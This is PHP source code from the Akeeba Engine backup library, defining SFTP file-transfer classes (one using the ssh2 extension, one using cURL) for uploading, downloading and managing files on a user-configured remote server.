class Sftp implements TransferInterface, RemoteResourceInterface
{
	/**
	 * SFTP server's hostname or IP address
	 *
	 * @var  string
	 */
	private $host = 'localhost';

	/**
	 * SFTP server's port, default: 21
	 *
	 * @var  integer
	 */
	private $port = 22;

	/**
	 * Username used to authenticate to the SFTP server
	 *
	 * @var  string
	 */
	private $username = '';

	/**
	 * Password used to authenticate to the SFTP server
	 *
	 * @var  string
	 */
	private $password = '';

	/**
	 * SFTP initial directory
	 *
	 * @var  string
	 */
	private $directory = '/';

	/**
	 * The absolute filesystem path to a private key file used for authentication instead of a password.
	 *
	 * @var  string
	 */
	private $privateKey = '';

	/**
	 * The absolute filesystem path to a public key file used for authentication instead of a password.
	 *
	 * @var  string
	 */
	private $publicKey = '';

	/**
	 * The SSH2 connection handle
	 *
	 * @var  resource|null
	 */
	private $connection = null;

	/**
	 * The SFTP connection handle
	 *
	 * @var  resource|null
	 */
	private $sftpHandle = null;

	/**
	 * Public constructor
	 *
	 * @param   array  $options  Configuration options for the filesystem abstraction object
	 *
	 * @return  Sftp
	 *
	 * @throws  RuntimeException
	 */
	public function __construct(array $options)
	{
		if (isset($options['host']))
		{
			$this->host = $options['host'];
		}

		if (isset($options['port']))
		{
			$this->port = (int) $options['port'];
		}

		if (isset($options['username']))
		{
			$this->username = $options['username'];
		}

		if (isset($options['password']))
		{
			$this->password = $options['password'];
		}

		if (isset($options['directory']))
		{
			$this->directory = '/' . ltrim(trim($options['directory']), '/');
		}

		if (isset($options['privateKey']))
		{
			$this->privateKey = $options['privateKey'];
		}

		if (isset($options['publicKey']))
		{
			$this->publicKey = $options['publicKey'];
		}

		$this->connect();
	}

	/**
	 * Is this transfer method blocked by a server firewall?
	 *
	 * @param   array  $params  Any additional parameters you might need to pass
	 *
	 * @return  boolean  True if the firewall blocks connections to a known host
	 */
	public static function isFirewalled(array $params = [])
	{
		try
		{
			$connector = new static([
				'host'      => 'test.rebex.net',
				'port'      => 22,
				'username'  => 'demo',
				'password'  => 'password',
				'directory' => '',
			]);

			$data = $connector->read('readme.txt');

			if (empty($data))
			{
				return true;
			}
		}
		catch (Exception $e)
		{
			return true;
		}

		return false;
	}

	/**
	 * Save all parameters on serialization except the connection resource
	 *
	 * @return  array
	 */
	public function __sleep()
	{
		return ['host', 'port', 'username', 'password', 'directory', 'privateKey', 'publicKey'];
	}

	/**
	 * Reconnect to the server on unserialize
	 *
	 * @return  void
	 */
	public function __wakeup()
	{
		$this->connect();
	}

	public function __destruct()
	{
		if (is_resource($this->connection))
		{
			@ssh2_exec($this->connection, 'exit;');
			$this->connection = null;
			$this->sftpHandle = null;
		}
	}

	/**
	 * Connect to the FTP server
	 *
	 * @throws  RuntimeException
	 */
	public function connect()
	{
		// Try to connect to the SSH server
		if (!function_exists('ssh2_connect'))
		{
			throw new RuntimeException('Your web server does not have the SSH2 PHP module, therefore can not connect to SFTP servers.', 500);
		}

		$this->connection = ssh2_connect($this->host, $this->port);

		if ($this->connection === false)
		{
			$this->connection = null;

			throw new RuntimeException(sprintf('Cannot connect to SFTP server [host:port] = %s:%s', $this->host, $this->port), 500);
		}

		// Attempt to authenticate
		if (!empty($this->publicKey) && !empty($this->privateKey))
		{
			if (!@ssh2_auth_pubkey_file($this->connection, $this->username, $this->publicKey, $this->privateKey, $this->password))
			{
				$this->connection = null;

				throw new RuntimeException(sprintf('Cannot log in to SFTP server using key files [username:private_key_file:public_key_file:password] = %s:%s:%s:%s', $this->username, $this->privateKey, $this->publicKey, $this->password), 500);
			}
		}
		else
		{
			if (!@ssh2_auth_password($this->connection, $this->username, $this->password))
			{
				$this->connection = null;

				throw new RuntimeException(sprintf('Cannot log in to SFTP server [username:password] = %s:%s', $this->username, $this->password), 500);
			}
		}

		// Get an SFTP handle
		$this->sftpHandle = ssh2_sftp($this->connection);

		if ($this->sftpHandle === false)
		{
			throw new RuntimeException('Cannot start an SFTP session with the server', 500);
		}
	}

	/**
	 * Write the contents into the file
	 *
	 * @param   string  $fileName  The full path to the file
	 * @param   string  $contents  The contents to write to the file
	 *
	 * @return  boolean  True on success
	 */
	public function write($fileName, $contents)
	{
		$fp = @fopen("ssh2.sftp://{$this->sftpHandle}/$fileName", 'w');

		if ($fp === false)
		{
			return false;
		}

		$ret = @fwrite($fp, $contents);

		@fclose($fp);

		return $ret;
	}

	/**
	 * Uploads a local file to the remote storage
	 *
	 * @param   string  $localFilename   The full path to the local file
	 * @param   string  $remoteFilename  The full path to the remote file
	 * @param   bool    $useExceptions   Throw an exception instead of returning "false" on connection error.
	 *
	 * @return  boolean  True on success
	 */
	public function upload($localFilename, $remoteFilename, $useExceptions = true)
	{
		$fp = @fopen("ssh2.sftp://{$this->sftpHandle}/$remoteFilename", 'w');

		if ($fp === false)
		{
			if ($useExceptions)
			{
				throw new RuntimeException("Could not open remote SFTP file $remoteFilename for writing");
			}

			return false;
		}

		$localFp = @fopen($localFilename, 'r');

		if ($localFp === false)
		{
			fclose($fp);

			if ($useExceptions)
			{
				throw new RuntimeException("Could not open local file $localFilename for reading");
			}

			return false;
		}

		while (!feof($localFp))
		{
			$data = fread($localFp, 131072);
			$ret  = @fwrite($fp, $data);

			if ($ret < strlen($data))
			{
				fclose($fp);
				fclose($localFp);

				if ($useExceptions)
				{
					throw new RuntimeException("An error occurred while copying file $localFilename to $remoteFilename");
				}

				return false;
			}
		}

		@fclose($fp);
		@fclose($localFp);

		return true;
	}

	/**
	 * Read the contents of a remote file into a string
	 *
	 * @param   string  $fileName  The full path to the remote file
	 *
	 * @return  string  The contents of the remote file
	 */
	public function read($fileName)
	{
		$fp = @fopen("ssh2.sftp://{$this->sftpHandle}/$fileName", 'r');

		if ($fp === false)
		{
			throw new RuntimeException("Can not download remote file $fileName");
		}

		$ret = '';

		while (!feof($fp))
		{
			$ret .= fread($fp, 131072);
		}

		@fclose($fp);

		return $ret;
	}

	/**
	 * Download a remote file into a local file
	 *
	 * @param   string  $remoteFilename  The remote file path to download from
	 * @param   string  $localFilename   The local file path to download to
	 * @param   bool    $useExceptions   Throw an exception instead of returning "false" on connection error.
	 *
	 * @return  boolean  True on success
	 */
	public function download($remoteFilename, $localFilename, $useExceptions = true)
	{
		$fp = @fopen("ssh2.sftp://{$this->sftpHandle}/$remoteFilename", 'r');

		if ($fp === false)
		{
			if ($useExceptions)
			{
				throw new RuntimeException("Could not open remote SFTP file $remoteFilename for reading");
			}

			return false;
		}

		$localFp = @fopen($localFilename, 'w');

		if ($localFp === false)
		{
			fclose($fp);

			if ($useExceptions)
			{
				throw new RuntimeException("Could not open local file $localFilename for writing");
			}

			return false;
		}

		while (!feof($fp))
		{
			$chunk = fread($fp, 131072);

			if ($chunk === false)
			{
				fclose($fp);
				fclose($localFp);

				if ($useExceptions)
				{
					throw new RuntimeException("An error occurred while copying file $remoteFilename to $localFilename");
				}

				return false;
			}

			fwrite($localFp, $chunk);
		}

		@fclose($fp);
		@fclose($localFp);

		return true;
	}

	/**
	 * Delete a file (remove it from the disk)
	 *
	 * @param   string  $fileName  The full path to the file
	 *
	 * @return  boolean  True on success
	 */
	public function delete($fileName)
	{
		try
		{
			$ret = @ssh2_sftp_unlink($this->sftpHandle, $fileName);
		}
		catch (Exception $e)
		{
			$ret = false;
		}

		return $ret;
	}

	/**
	 * Create a copy of the file. Actually, we have to read it in memory and upload it again.
	 *
	 * @param   string  $from  The full path of the file to copy from
	 * @param   string  $to    The full path of the file that will hold the copy
	 *
	 * @return  boolean  True on success
	 */
	public function copy($from, $to)
	{
		$contents = @file_get_contents($from);

		return $this->write($to, $contents);
	}

	/**
	 * Move or rename a file. Actually, we have to read it, upload it again and then delete the original.
	 *
	 * @param   string  $from  The full path of the file to move
	 * @param   string  $to    The full path of the target file
	 *
	 * @return  boolean  True on success
	 */
	public function move($from, $to)
	{
		$ret = $this->copy($from, $to);

		if ($ret)
		{
			$ret = $this->delete($from);
		}

		return $ret;
	}

	/**
	 * Change the permissions of a file
	 *
	 * @param   string   $fileName     The full path of the file whose permissions will change
	 * @param   integer  $permissions  The new permissions, e.g. 0644 (remember the leading zero in octal numbers!)
	 *
	 * @return  boolean  True on success
	 */
	public function chmod($fileName, $permissions)
	{
		// Prefer the SFTP way, if available
		if (function_exists('ssh2_sftp_chmod'))
		{
			return @ssh2_sftp_chmod($this->sftpHandle, $fileName, $permissions);
		}
		// Otherwise fall back to the (likely to fail) raw command mode
		else
		{
			$cmd = 'chmod ' . decoct($permissions) . ' ' . escapeshellarg($fileName);

			return @ssh2_exec($this->connection, $cmd);
		}
	}

	/**
	 * Create a directory if it doesn't exist. The operation is implicitly recursive, i.e. it will create all
	 * intermediate directories if they do not already exist.
	 *
	 * @param   string   $dirName      The full path of the directory to create
	 * @param   integer  $permissions  The permissions of the created directory
	 *
	 * @return  boolean  True on success
	 */
	public function mkdir($dirName, $permissions = 0755)
	{
		$targetDir = rtrim($dirName, '/');

		$ret = @ssh2_sftp_mkdir($this->sftpHandle, $targetDir, $permissions, true);

		return $ret;
	}

	/**
	 * Checks if the given directory exists
	 *
	 * @param   string  $path  The full path of the remote directory to check
	 *
	 * @return  boolean  True if the directory exists
	 */
	public function isDir($path)
	{
		return @ssh2_sftp_stat($this->sftpHandle, $path);
	}

	/**
	 * Get the current working directory
	 *
	 * @return  string
	 */
	public function cwd()
	{
		return ssh2_sftp_realpath($this->sftpHandle, ".");
	}

	/**
	 * Returns the absolute remote path from a path relative to the initial directory configured when creating the
	 * transfer object.
	 *
	 * @param   string  $fileName  The relative path of a file or directory
	 *
	 * @return  string  The absolute path for use by the transfer object
	 */
	public function getPath($fileName)
	{
		$fileName = str_replace('\\', '/', $fileName);
		$fileName = rtrim($this->directory, '/') . '/' . $fileName;

		return $fileName;
	}

	/**
	 * Lists the subdirectories inside an SFTP directory
	 *
	 * @param   null|string  $dir  The directory to scan. Skip to use the current directory.
	 *
	 * @return  array|bool  A list of folders, or false if we could not get a listing
	 *
	 * @throws  RuntimeException  When the server is incompatible with our SFTP folder scanner
	 */
	public function listFolders($dir = null)
	{
		if (empty($dir))
		{
			$dir = $this->directory;
		}

		// Get a raw directory listing (hoping it's a UNIX server!)
		$list = [];
		$dir  = ltrim($dir, '/');

		try
		{
			$di = new DirectoryIterator("ssh2.sftp://" . $this->sftpHandle . "/$dir");
		}
		catch (Exception $e)
		{
			throw new RuntimeException(sprintf('Cannot change to SFTP directory "%s" – make sure the folder exists and that you have adequate permissions to it', $dir), 500);
		}

		if (!$di->valid())
		{
			throw new RuntimeException(sprintf('Cannot change to SFTP directory "%s" – make sure the folder exists and that you have adequate permissions to it', $dir), 500);
		}

		/** @var DirectoryIterator $entry */
		foreach ($di as $entry)
		{
			if ($entry->isDot())
			{
				continue;
			}

			if (!$entry->isDir())
			{
				continue;
			}

			$list[] = $entry->getFilename();
		}

		unset($di);

		if (!empty($list))
		{
			asort($list);
		}

		return $list;
	}

	/**
	 * Return a string with the appropriate stream wrapper protocol for $path. You can use the result with all PHP
	 * functions / classes which accept file paths such as DirectoryIterator, file_get_contents, file_put_contents,
	 * fopen etc.
	 *
	 * @param   string  $path
	 *
	 * @return  string
	 */
	public function getWrapperStringFor($path)
	{
		return "ssh2.sftp://{$this->sftpHandle}{$path}";
	}

	/**
	 * Return the raw server listing for the requested folder.
	 *
	 * @param   string  $folder  The path name to list
	 *
	 * @return  string
	 */
	public function getRawList($folder)
	{
		// First try the command for Linxu servers
		$res = $this->ssh2cmd('ls -l ' . escapeshellarg($folder));

		// If an error occurred let's try the command for Windows servers
		if (empty($res))
		{
			$res = $this->ssh2cmd('CMD /C ' . escapeshellarg($folder));
		}

		return $res;
	}

	private function ssh2cmd($command)
	{
		$stream = ssh2_exec($this->connection, $command);
		stream_set_blocking($stream, true);
		$res = @stream_get_contents($stream);
		@fclose($stream);

		return $res;
	}
}
PK     \e)O  )O  6  vendor/akeeba/engine/engine/Util/Transfer/SftpCurl.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\Transfer;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Postproc\ProxyAware;
use RuntimeException;

/**
 * SFTP transfer object, using cURL as the transport backend
 */
class SftpCurl extends Sftp implements TransferInterface
{
	use ProxyAware;

	/**
	 * SFTP server's hostname or IP address
	 *
	 * @var  string
	 */
	private $host = 'localhost';

	/**
	 * SFTP server's port, default: 21
	 *
	 * @var  integer
	 */
	private $port = 22;

	/**
	 * Username used to authenticate to the SFTP server
	 *
	 * @var  string
	 */
	private $username = '';

	/**
	 * Password used to authenticate to the SFTP server
	 *
	 * @var  string
	 */
	private $password = '';

	/**
	 * SFTP initial directory
	 *
	 * @var  string
	 */
	private $directory = '/';

	/**
	 * The absolute filesystem path to a private key file used for authentication instead of a password.
	 *
	 * @var  string
	 */
	private $privateKey = '';

	/**
	 * The absolute filesystem path to a public key file used for authentication instead of a password.
	 *
	 * @var  string
	 */
	private $publicKey = '';

	/**
	 * Timeout for connecting to the SFTP server, default: 10 minutes
	 *
	 * @var  integer
	 */
	private $timeout = 600;

	/**
	 * Should we enable verbose output to STDOUT? Useful for debugging.
	 *
	 * @var   bool
	 */
	private $verbose = false;

	/**
	 * Should I enabled the passive IP workaround for cURL?
	 *
	 * @var   bool
	 */
	private $skipPassiveIP = false;

	/**
	 * Public constructor
	 *
	 * @param   array  $options  Configuration options
	 *
	 * @return  self
	 *
	 * @throws  RuntimeException
	 */
	public function __construct(array $options)
	{
		if (isset($options['host']))
		{
			$this->host = $options['host'];
		}

		if (isset($options['port']))
		{
			$this->port = (int) $options['port'];
		}

		if (isset($options['username']))
		{
			$this->username = $options['username'];
		}

		if (isset($options['password']))
		{
			$this->password = $options['password'];
		}

		if (isset($options['directory']))
		{
			$this->directory = '/' . ltrim(trim($options['directory']), '/');
		}

		if (isset($options['privateKey']))
		{
			$this->privateKey = $options['privateKey'];
		}

		if (isset($options['publicKey']))
		{
			$this->publicKey = $options['publicKey'];
		}

		if (isset($options['timeout']))
		{
			$this->timeout = max(1, (int) $options['timeout']);
		}

		if (isset($options['passive_fix']))
		{
			$this->skipPassiveIP = $options['passive_fix'] ? true : false;
		}

		if (isset($options['verbose']))
		{
			$this->verbose = $options['verbose'] ? true : false;
		}
	}

	/**
	 * Save all parameters on serialization except the connection resource
	 *
	 * @return  array
	 */
	public function __sleep()
	{
		return [
			'host',
			'port',
			'username',
			'password',
			'directory',
			'privateKey',
			'publicKey',
			'timeout',
			'skipPassiveIP',
			'verbose',
		];
	}

	/**
	 * Test the connection to the SFTP server and whether the initial directory is correct. This is done by attempting to
	 * list the contents of the initial directory. The listing is not parsed (we don't really care!) and we do NOT check
	 * if we can upload files to that remote folder.
	 *
	 * @throws  RuntimeException
	 */
	public function connect()
	{
		$ch = $this->getCurlHandle($this->directory . '/');
		curl_setopt($ch, CURLOPT_HEADER, 1);
		curl_setopt($ch, CURLOPT_NOBODY, 1);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

		$listing = curl_exec($ch);
		$errNo   = curl_errno($ch);
		$error   = curl_error($ch);

		if (version_compare(PHP_VERSION, '8.5.0', 'lt'))
		{
			curl_close($ch);
		}

		if ($errNo)
		{
			throw new RuntimeException("cURL Error $errNo connecting to remote SFTP server: $error", 500);
		}
	}

	/**
	 * Write the contents into the file
	 *
	 * @param   string  $fileName  The full path to the file
	 * @param   string  $contents  The contents to write to the file
	 *
	 * @return  boolean  True on success
	 */
	public function write($fileName, $contents)
	{
		// Make sure the buffer:// wrapper is loaded
		class_exists('\\Akeeba\\Engine\\Util\\Buffer', true);

		$handle = fopen('buffer://akeeba_engine_transfer_ftp_curl', 'r+');
		fwrite($handle, $contents);

		// Note: don't manually close the file pointer, it's closed automatically by uploadFromHandle
		try
		{
			$this->uploadFromHandle($fileName, $handle);
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * Uploads a local file to the remote storage
	 *
	 * @param   string  $localFilename   The full path to the local file
	 * @param   string  $remoteFilename  The full path to the remote file
	 * @param   bool    $useExceptions   Throw an exception instead of returning "false" on connection error.
	 *
	 * @return  boolean  True on success
	 */
	public function upload($localFilename, $remoteFilename, $useExceptions = true)
	{
		$fp = @fopen($localFilename, 'r');

		if ($fp === false)
		{
			throw new RuntimeException("Unreadable local file $localFilename");
		}

		// Note: don't manually close the file pointer, it's closed automatically by uploadFromHandle
		try
		{
			$this->uploadFromHandle($remoteFilename, $fp);
		}
		catch (RuntimeException $e)
		{
			if ($useExceptions)
			{
				throw $e;
			}

			return false;
		}

		return true;
	}

	/**
	 * Read the contents of a remote file into a string
	 *
	 * @param   string  $fileName  The full path to the remote file
	 *
	 * @return  string  The contents of the remote file
	 */
	public function read($fileName)
	{
		try
		{
			return $this->downloadToString($fileName);
		}
		catch (RuntimeException $e)
		{
			throw new RuntimeException("Can not download remote file $fileName", 500, $e);
		}
	}

	/**
	 * Download a remote file into a local file
	 *
	 * @param   string  $remoteFilename  The remote file path to download from
	 * @param   string  $localFilename   The local file path to download to
	 * @param   bool    $useExceptions   Throw an exception instead of returning "false" on connection error.
	 *
	 * @return  boolean  True on success
	 */
	public function download($remoteFilename, $localFilename, $useExceptions = true)
	{
		$fp = @fopen($localFilename, 'w');

		if ($fp === false)
		{
			if ($useExceptions)
			{
				throw new RuntimeException(sprintf('Download from FTP failed. Can not open local file %s for writing.', $localFilename));
			}

			return false;
		}

		// Note: don't manually close the file pointer, it's closed automatically by downloadToHandle
		try
		{
			$this->downloadToHandle($remoteFilename, $fp);
		}
		catch (RuntimeException $e)
		{
			if ($useExceptions)
			{
				throw $e;
			}

			return false;
		}

		return true;
	}

	/**
	 * Delete a file (remove it from the disk)
	 *
	 * @param   string  $fileName  The full path to the file
	 *
	 * @return  boolean  True on success
	 */
	public function delete($fileName)
	{
		$commands = [
			'rm ' . $this->getPath($fileName),
		];

		try
		{
			$this->executeServerCommands($commands);
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * Create a copy of the file. Actually, we have to read it in memory and upload it again.
	 *
	 * @param   string  $from  The full path of the file to copy from
	 * @param   string  $to    The full path of the file that will hold the copy
	 *
	 * @return  boolean  True on success
	 */
	public function copy($from, $to)
	{
		// Make sure the buffer:// wrapper is loaded
		class_exists('\\Akeeba\\Engine\\Util\\Buffer', true);

		$handle = fopen('buffer://akeeba_engine_transfer_ftp', 'r+');

		try
		{
			$this->downloadToHandle($from, $handle, false);
			$this->uploadFromHandle($to, $handle);
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * Move or rename a file
	 *
	 * @param   string  $from  The full path of the file to move
	 * @param   string  $to    The full path of the target file
	 *
	 * @return  boolean  True on success
	 */
	public function move($from, $to)
	{
		$from = $this->getPath($from);
		$to   = $this->getPath($to);

		$commands = [
			'rename ' . $from . ' ' . $to,
		];

		try
		{
			$this->executeServerCommands($commands);
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * Change the permissions of a file
	 *
	 * @param   string   $fileName     The full path of the file whose permissions will change
	 * @param   integer  $permissions  The new permissions, e.g. 0644 (remember the leading zero in octal numbers!)
	 *
	 * @return  boolean  True on success
	 */
	public function chmod($fileName, $permissions)
	{
		// Make sure permissions are in an octal string representation
		if (!is_string($permissions))
		{
			$permissions = decoct($permissions);
		}

		$commands = [
			'chmod ' . $permissions . ' ' . $this->getPath($fileName),
		];

		try
		{
			$this->executeServerCommands($commands);
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * Create a directory if it doesn't exist. The operation is implicitly recursive, i.e. it will create all
	 * intermediate directories if they do not already exist.
	 *
	 * @param   string   $dirName      The full path of the directory to create
	 * @param   integer  $permissions  The permissions of the created directory
	 *
	 * @return  boolean  True on success
	 */
	public function mkdir($dirName, $permissions = 0755)
	{
		$targetDir = rtrim($dirName, '/');

		$directories = explode('/', $targetDir);

		$remoteDir = '';

		foreach ($directories as $dir)
		{
			if (!$dir)
			{
				continue;
			}

			$remoteDir .= '/' . $dir;

			// Continue if the folder already exists. Otherwise I'll get a an error even if everything is fine
			if ($this->isDir($remoteDir))
			{
				continue;
			}

			$commands = [
				'mkdir ' . $remoteDir,
			];

			try
			{
				$this->executeServerCommands($commands);
			}
			catch (RuntimeException $e)
			{
				return false;
			}
		}

		$this->chmod($dirName, $permissions);

		return true;
	}

	/**
	 * Checks if the given directory exists
	 *
	 * @param   string  $path  The full path of the remote directory to check
	 *
	 * @return  boolean  True if the directory exists
	 */
	public function isDir($path)
	{
		$ch = $this->getCurlHandle($path . '/');
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

		$list = curl_exec($ch);

		$errNo = curl_errno($ch);

		if (version_compare(PHP_VERSION, '8.5.0', 'lt'))
		{
			curl_close($ch);
		}

		if ($errNo)
		{
			return false;
		}

		return true;
	}

	/**
	 * Get the current working directory. NOT IMPLEMENTED.
	 *
	 * @return  string
	 */
	public function cwd()
	{
		return '';
	}

	/**
	 * Returns the absolute remote path from a path relative to the initial directory configured when creating the
	 * transfer object.
	 *
	 * @param   string  $fileName  The relative path of a file or directory
	 *
	 * @return  string  The absolute path for use by the transfer object
	 */
	public function getPath($fileName)
	{
		$fileName = str_replace('\\', '/', $fileName);

		if (strpos($fileName, $this->directory) === 0)
		{
			return $fileName;
		}

		$fileName = trim($fileName, '/');
		$fileName = rtrim($this->directory, '/') . '/' . $fileName;

		return $fileName;
	}

	/**
	 * Lists the subdirectories inside an SFTP directory
	 *
	 * @param   null|string  $dir  The directory to scan. Skip to use the current directory.
	 *
	 * @return  array|bool  A list of folders, or false if we could not get a listing
	 *
	 * @throws  RuntimeException  When the server is incompatible with our SFTP folder scanner
	 */
	public function listFolders($dir = null)
	{
		if (empty($dir))
		{
			$dir = $this->directory;
		}

		$dir = rtrim($dir, '/');

		$ch = $this->getCurlHandle($dir . '/');
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

		$list = curl_exec($ch);

		$errNo = curl_errno($ch);
		$error = curl_error($ch);

		if (version_compare(PHP_VERSION, '8.5.0', 'lt'))
		{
			curl_close($ch);
		}

		if ($errNo)
		{
			throw new RuntimeException(sprintf("cURL Error $errNo ($error) while listing contents of directory \"%s\" – make sure the folder exists and that you have adequate permissions to it", $dir), 500);
		}

		if (empty($list))
		{
			throw new RuntimeException("Sorry, your SFTP server doesn't support our SFTP directory browser.");
		}

		$folders = [];

		// Convert the directory listing into an array of lines without *NIX/Windows/Mac line ending characters
		$list = explode("\n", $list);
		$list = array_map('rtrim', $list);

		foreach ($list as $v)
		{
			$vInfo = preg_split("/[\s]+/", $v, 9);

			if ($vInfo[0] !== "total")
			{
				$perms = $vInfo[0];

				if (substr($perms, 0, 1) == 'd')
				{
					$folders[] = $vInfo[8];
				}
			}
		}

		asort($folders);

		return $folders;
	}

	/**
	 * Is the verbose debug option set?
	 *
	 * @return  boolean
	 */
	public function isVerbose()
	{
		return $this->verbose;
	}

	/**
	 * Set the verbose debug option
	 *
	 * @param   boolean  $verbose
	 *
	 * @return  void
	 */
	public function setVerbose($verbose)
	{
		$this->verbose = $verbose;
	}

	/**
	 * Returns a cURL resource handler for the remote SFTP server
	 *
	 * @param   string  $remoteFile  Optional. The remote file / folder on the SFTP server you'll be manipulating with cURL.
	 *
	 * @return  resource
	 */
	protected function getCurlHandle($remoteFile = '')
	{
		// Remember, the username has to be URL encoded as it's part of a URI!
		$authentication = urlencode($this->username);

		// We will only use username and password authentication if there are no certificates configured.
		if (empty($this->publicKey))
		{
			// Remember, both the username and password have to be URL encoded as they're part of a URI!
			$password       = urlencode($this->password);
			$authentication .= ':' . $password;
		}

		$ftpUri = 'sftp://' . $authentication . '@' . $this->host;

		if (!empty($this->port))
		{
			$ftpUri .= ':' . (int) $this->port;
		}

		// Relative path? Append the initial directory.
		if (substr($remoteFile, 0, 1) != '/')
		{
			$ftpUri .= $this->directory;
		}

		// Add a remote file if necessary. The filename must be URL encoded since we're creating a URI.
		if (!empty($remoteFile))
		{
			$suffix = '';

			$dirname = dirname($remoteFile);

			// Windows messing up dirname('/'). KILL ME.
			if ($dirname == '\\')
			{
				$dirname = '';
			}

			$dirname  = trim($dirname, '/');
			$basename = basename($remoteFile);

			if ((substr($remoteFile, -1) == '/') && !empty($basename))
			{
				$suffix = '/' . $suffix;
			}

			$ftpUri .= '/' . $dirname . (empty($dirname) ? '' : '/') . urlencode($basename) . $suffix;
		}

		$ch = curl_init();

		$this->applyProxySettingsToCurl($ch);

		curl_setopt($ch, CURLOPT_URL, $ftpUri);
		curl_setopt($ch, CURLOPT_TIMEOUT, $this->timeout);

		// Do I have to use certificate authentication?
		if (!empty($this->publicKey))
		{
			// We always need to provide a public key file
			curl_setopt($ch, CURLOPT_SSH_PUBLIC_KEYFILE, $this->publicKey);

			// Since SSH certificates are self-signed we cannot have cURL verify their signatures against a CA.
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
			curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
			curl_setopt($ch, CURLOPT_SSL_VERIFYSTATUS, 0);

			/**
			 * This is optional because newer versions of cURL can extract the private key file from a combined
			 * certificate file.
			 */
			if (!empty($this->privateKey))
			{
				curl_setopt($ch, CURLOPT_SSH_PRIVATE_KEYFILE, $this->privateKey);
			}

			/**
			 * In case of encrypted (a.k.a. password protected) private key files you need to also specify the
			 * certificate decryption key in the password field. However, if libcurl is compiled against the GnuTLS
			 * library (instead of OpenSSL) this will NOT work because of bugs / missing features in GnuTLS. It's the
			 * same problem you get when libssh is compiled against GnuTLS. The solution to that is having an
			 * unencrypted private key file.
			 */
			if (!empty($this->password))
			{
				curl_setopt($ch, CURLOPT_KEYPASSWD, $this->password);
			}
		}

		// Should I enable verbose output? Useful for debugging.
		if ($this->verbose)
		{
			curl_setopt($ch, CURLOPT_VERBOSE, 1);
		}

		// Automatically create missing directories
		curl_setopt($ch, CURLOPT_FTP_CREATE_MISSING_DIRS, 1);

		return $ch;
	}

	/**
	 * Uploads a file using file contents provided through a file handle
	 *
	 * @param   string    $remoteFilename
	 * @param   resource  $fp
	 *
	 * @return  void
	 *
	 * @throws  RuntimeException
	 */
	protected function uploadFromHandle($remoteFilename, $fp)
	{
		// We need the file size. We can do that by getting the file position at EOF
		fseek($fp, 0, SEEK_END);
		$filesize = ftell($fp);
		rewind($fp);

		$ch = $this->getCurlHandle($remoteFilename);
		curl_setopt($ch, CURLOPT_UPLOAD, 1);
		curl_setopt($ch, CURLOPT_INFILE, $fp);
		curl_setopt($ch, CURLOPT_INFILESIZE, $filesize);

		curl_exec($ch);

		$error_no = curl_errno($ch);
		$error    = curl_error($ch);

		if (version_compare(PHP_VERSION, '8.5.0', 'lt'))
		{
			curl_close($ch);
		}

		fclose($fp);

		if ($error_no)
		{
			throw new RuntimeException($error, $error_no);
		}
	}

	/**
	 * Downloads a remote file to the provided file handle
	 *
	 * @param   string    $remoteFilename  Filename on the remote server
	 * @param   resource  $fp              File handle where the downloaded content will be written to
	 * @param   bool      $close           Optional. Should I close the file handle when I'm done? (Default: true)
	 *
	 * @return  void
	 *
	 * @throws  RuntimeException
	 */
	protected function downloadToHandle($remoteFilename, $fp, $close = true)
	{
		$ch = $this->getCurlHandle($remoteFilename);

		curl_setopt($ch, CURLOPT_FILE, $fp);

		curl_exec($ch);

		$error_no = curl_errno($ch);
		$error    = curl_error($ch);

		if (version_compare(PHP_VERSION, '8.5.0', 'lt'))
		{
			curl_close($ch);
		}

		if ($close)
		{
			fclose($fp);
		}

		if ($error_no)
		{
			throw new RuntimeException($error, $error_no);
		}
	}

	/**
	 * Downloads a remote file and returns it as a string
	 *
	 * @param   string  $remoteFilename  Filename on the remote server
	 *
	 * @return  string
	 *
	 * @throws  RuntimeException
	 */
	protected function downloadToString($remoteFilename)
	{
		$ch = $this->getCurlHandle($remoteFilename);

		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_HEADER, false);

		$ret = curl_exec($ch);

		$error_no = curl_errno($ch);
		$error    = curl_error($ch);

		if (version_compare(PHP_VERSION, '8.5.0', 'lt'))
		{
			curl_close($ch);
		}

		if ($error_no)
		{
			throw new RuntimeException($error, $error_no);
		}

		return $ret;
	}

	/**
	 * Executes arbitrary SFTP commands
	 *
	 * @param   array  $commands  An array with the SFTP commands to be executed
	 *
	 * @return  string  The output of the executed commands
	 *
	 * @throws  RuntimeException
	 */
	protected function executeServerCommands($commands)
	{
		$ch = $this->getCurlHandle($this->directory . '/');

		curl_setopt($ch, CURLOPT_QUOTE, $commands);
		curl_setopt($ch, CURLOPT_HEADER, 1);
		curl_setopt($ch, CURLOPT_NOBODY, 1);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

		$listing = curl_exec($ch);
		$errNo   = curl_errno($ch);
		$error   = curl_error($ch);

		if (version_compare(PHP_VERSION, '8.5.0', 'lt'))
		{
			curl_close($ch);
		}

		if ($errNo)
		{
			throw new RuntimeException($error, $errNo);
		}

		return $listing;
	}
}
